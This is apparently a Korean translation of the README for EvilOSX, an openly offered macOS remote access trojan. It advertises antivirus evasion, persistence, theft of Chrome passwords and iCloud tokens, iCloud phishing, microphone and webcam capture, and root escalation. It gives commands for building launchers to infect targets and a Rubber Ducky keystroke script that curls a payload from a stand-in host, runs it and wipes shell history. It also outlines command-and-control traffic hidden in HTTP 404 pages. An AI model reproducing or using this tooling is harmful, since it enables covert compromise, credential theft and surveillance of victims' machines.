EvilOSX

macOS / OS X용 악성 RAT(원격 관리 도구)입니다.

Marco Generator 제작: Cedric Owens

이 프로젝트는 더 이상 활성화되지 않습니다

특징

• 터미널 인스턴스 에뮬레이션
• 간단하고 확장 가능한 모듈 시스템
• 봇 의존성 없음 (순수 파이썬)
• 안티바이러스에 탐지되지 않음 (OpenSSL AES-256 암호화된 페이로드)
• 지속성
• GUI 및 CLI 지원
• Chrome 비밀번호 검색
• iCloud 토큰 및 연락처 검색
• 클립보드 검색/모니터링
• 브라우저 기록 검색 (Chrome 및 Safari)
• iTunes를 통한 iCloud 비밀번호 피싱
• iTunes (iOS) 백업 열거
• 마이크 녹음
• 데스크톱 스크린샷 또는 웹캠 사진 촬영
• 로컬 권한 상승을 통해 루트 획득 시도

사용 방법

# Clone or download this repository
$ git clone https://github.com/Marten4n6/EvilOSX

# Go into the repository
$ cd EvilOSX

# Install dependencies required by the server
$ sudo pip install -r requirements.txt

# Start the GUI
$ python start.py

# Lastly, run a built launcher on your target(s)

경고: 페이로드는 대상 시스템에 고유하게 생성되므로(서버에 의해 자동으로), 봇이 처음 연결할 때 서버가 실행 중이어야 합니다.

고급 사용자

SSH를 통해 사용하려는 사람들을 위한 CLI도 있습니다:

# Create a launcher to infect your target(s)
$ python start.py --builder

# Start the CLI
$ python start.py --cli --port 1337

# Lastly, run a built launcher on your target(s)

스크린샷

동기

이 프로젝트는 제 Rubber Ducky와 함께 사용하기 위해 만들어졌습니다. 간단한 스크립트는 다음과 같습니다:

REM Download and execute EvilOSX @ https://github.com/Marten4n6/EvilOSX
REM See also: https://ducktoolkit.com/vidpid/

DELAY 1000
GUI SPACE
DELAY 500
STRING Termina
DELAY 1000
ENTER
DELAY 1500

REM Kill all terminals after x seconds
STRING screen -dm bash -c 'sleep 6; killall Terminal'
ENTER

STRING cd /tmp; curl -s HOST_TO_EVILOSX.py -o 1337.py; python 1337.py; history -cw; clear
ENTER

• 잠금 해제된 Mac을 백도어하는 데 약 10초가 걸리며, 이는...... 좋습니다
• Terminal은 의도적으로 그렇게 철자를 썼습니다. 일부 시스템에서는 그렇지 않으면 spotlight가 터미널을 찾지 못합니다.
  
• 키보드 설정 도우미를 우회하려면 여기에서 찾을 수 있는 VID&PID를 변경해야 합니다.
  아마 알루미늄 키보드(ISO)가 찾고 있는 것일 것입니다.

버전 관리

EvilOSX는 가능한 한 시맨틱 버전 관리 지침에 따라 유지됩니다.
서버 및 봇 릴리스는 다음 형식으로 번호가 매겨집니다:

<major>.<minor>.<patch>

그리고 다음 지침에 따라 구성됩니다:

• 이전 버전과의 호환성을 깨는 경우(이전 봇 포함) 주 버전이 증가합니다.
• 이전 버전과의 호환성을 깨지 않는 새로운 추가 사항은 부 버전이 증가합니다.
• 버그 수정 및 기타 변경 사항은 패치 버전이 증가합니다.

SemVer에 대한 자세한 내용은 https://semver.org/를 방문하십시오.

설계 참고 사항

• 기계 감염은 세 부분으로 나뉩니다:
  • 런처는 대상 시스템에서 실행되며 유일한 목표는 스테이저를 실행하는 것입니다.
  • 스테이저는 서버에 로더를 요청하며, 로더는 페이로드가 로드되는 방식을 처리합니다.
  • 로더는 고유하게 암호화된 페이로드를 받고 스테이저로 다시 전송됩니다.
• 서버는 HTTP 404 오류 페이지에 숨겨진 메시지를 전송하여 통신을 숨깁니다 (BlackHat의 "Hiding In Plain Sight"에서).
  • 명령 요청은 GET 요청을 통해 서버에서 검색됩니다.
  • 명령 응답은 POST 요청을 통해 서버로 전송됩니다.
• 모듈은 파이썬의 동적 특성을 활용하며, 구성 옵션과 함께 zlib으로 압축되어 네트워크로 전송됩니다.
• 봇은 서버와만 통신하고 그 반대는 없기 때문에, 서버는 봇이 오프라인 상태가 되는 시점을 알 수 없습니다.

이슈

이슈나 기능 요청은 여기에 자유롭게 제출해 주세요.

기여

모듈 생성 방법에 대한 간단한 가이드는 여기를 클릭하세요.

크레딧

• 멋진 Empire 프로젝트
• Patrick Wardle님의 훌륭한 강연에 감사드립니다. Objective-See를 확인하세요.
• manwhoami의 프로젝트: OSXChromeDecrypt, MMeTokenDecrypt, iCloudContacts
  (지금은 삭제됨... 다시 나타나면 알려주세요.)
• slowloris 모듈은 PySlowLoris에서 거의 복사되었습니다.
• urwid와 CLI 작업 시간을 많이 절약해 준 이 코드
• 로고 제작: motusora

라이선스

GPLv3